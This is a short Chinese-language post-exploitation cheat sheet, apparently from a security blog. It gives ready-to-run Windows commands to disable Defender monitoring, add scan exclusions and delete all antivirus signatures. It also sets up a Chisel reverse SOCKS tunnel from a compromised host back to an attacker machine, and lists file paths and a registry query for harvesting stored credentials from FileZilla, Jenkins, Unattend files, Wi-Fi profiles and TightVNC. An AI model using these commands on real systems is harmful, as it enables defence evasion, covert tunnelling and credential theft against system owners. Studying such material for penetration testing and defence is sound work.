后滲透2
VSole2021-10-11 06:55:16
禁用Defender
禁用AV/EDR產品在實踐中絕不是一個好主意,最好的辦法是繞過它。所有這些命令都需要本地管理權限。
# Disable realtime monitoring altogether Set-MpPreference -DisableRealtimeMonitoring $true # Only disables scanning for downloaded files or attachments Set-MpPreference -DisableIOAVProtection $true
添加一個排除目錄
Add-MpPreference -ExclusionPath "C:\Users\Public\Downloads\SuperLegitDownloadDirectory"
或者你可以讓Defender處于啟用狀態,只是從它那里刪除所有病毒簽名。
"C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
Chisel代理服務
如果你需要在被攻擊的Windows機器上代理流量,Chisel是一個不錯的選擇。Chisel允許端口轉發,但我最喜歡的技術是在目標機器上設置一個反向SOCKS代理,允許你在目標系統上對任何流量進行隧道傳輸。
在我們的攻擊機器上(本例中為Linux),我們以反向SOCKS5模式在80端口啟動一個Chisel服務器。
sudo ./chisel server -p 80 --reverse --socks5
在我們被攻擊的目標系統上,我們連接到這個服務器,并告訴它通過反向SOCKS5隧道代理所有流量。
.\chisel.exe client 192.168.49.67:80 R:socks
現在在我們的Linux機器的1080端口上打開了一個代理。我們現在可以使用例如ProxyChains來在目標系統上建立隧道。
Juicy files
有很多文件可能包含有趣的信息,像WinPEAS這樣的工具或像PowerSploit這樣的合集可能有助于識別文件。
下面是我遇到的一些相關文件的清單、根據機器上安裝的程序和/或服務來檢查文件。
# All user folders ## Limit this command if there are too many files ;) tree /f /a C:\Users # Web.config C:\inetpub\www\*\web.config # Unattend files C:\Windows\Panther\Unattend.xml # RDP config files C:\ProgramData\Configs\ # Powershell scripts/config files C:\Program Files\Windows PowerShell\ # PuTTy config C:\Users\[USERNAME]\AppData\LocalLow\Microsoft\Putty # FileZilla creds C:\Users\[USERNAME]\AppData\Roaming\FileZilla\FileZilla.xml # Jenkins creds (also check out the Windows vault, see above) C:\Program Files\Jenkins\credentials.xml # WLAN profiles C:\ProgramData\Microsoft\Wlansvc\Profiles\*.xml # TightVNC password (convert to Hex, then decrypt with e.g.: https://github.com/frizb/PasswordDecrypts) Get-ItemProperty -Path HKLM:\Software\TightVNC\Server -Name "Password" | select -ExpandProperty Password
此外,別忘了用sqlcmd或Invoke-SqlCmd來列舉任何本地數據庫!
VSole
網絡安全專家